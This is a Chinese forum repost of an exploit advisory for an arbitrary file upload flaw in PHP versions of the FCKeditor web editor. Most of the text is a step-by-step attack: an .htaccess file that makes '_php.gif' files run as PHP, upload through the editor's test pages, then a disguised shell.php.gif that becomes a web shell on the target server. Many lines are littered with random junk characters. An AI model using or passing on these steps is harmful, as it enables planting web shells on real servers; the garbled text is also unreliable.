FCKeditor所有php版本Upload上传漏洞9 J0 ~% |. k9 V# h, U/ ` a1 p; C1 x& M
作者：佚名 来源：本站整理 发布时间：2011-10-25 7:39:07, I7 F @1 x6 j8 H, u: Z/ b/ R" a: M
减小字体 增大字体. Y" _0 O2 u1 Q y, T9 {1 D
[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability& f9 U0 s0 k9 ^& w- F, \' n
[+] Date: 20117 n# E' j7 A( V
[+] Author : sinesafe.cn
" ^* t. Z8 \: y3 L% L2 v. x! A6 Z1 `0 c[+] Website : WwW.sinesafe.cn5 Y' e% y1 E" D. b# H* v
———————————————————
: h. b& ?* y: ~0 Z3 e- h3 R1.create a htaccess file:
, @: |. F+ i" ^7 q( zcode:
/ Q% P$ f) a) n! X8 d<FilesMatch “_php.gif”>/ {6 c% k6 ^ g& p
SetHandler application/x-httpd-php
) W% w* I5 u8 `) t8 D2 `4 p</FilesMatch>4 ?2 ?0 \0 p6 `0 q
+ S5 S+ u, t! _2 L
2.Now upload this htaccess with FCKeditor.) _. M- E5 d0 [; P3 P1 a9 A. N
# o$ d% j4 ~, N% f" ohttp://www.sinesafe.cn/FCKeditor ... er/upload/test.html" Z. F9 g0 d2 n
- M( w8 ]2 G: w
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html
* z8 F0 b3 u) L# o2 A# B ]* a, o) O+ D9 U& I
———————————————————————————————-
$ R1 s8 T) w7 T0 K# {) B" w! S4 W3.Now upload shell.php.gif with FCKeditor.6 B! M* l k: e: g8 w% ^
4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.
* A( K: `) U& }6 m) Z) L5.http://www.sinesafe.cn/anything/shell_php.gif
2 `! e' r/ B1 ]" z7 e6.Now shell is available from server. |
% A+ l4 k$ D8 D( L. k2 e/ D6 f( T# a+ X; [
- ~1 B$ l" B% I7 Q% t3 `6 v5 W |
发表于 2013-10-27 17:25:21
收藏
支持
反对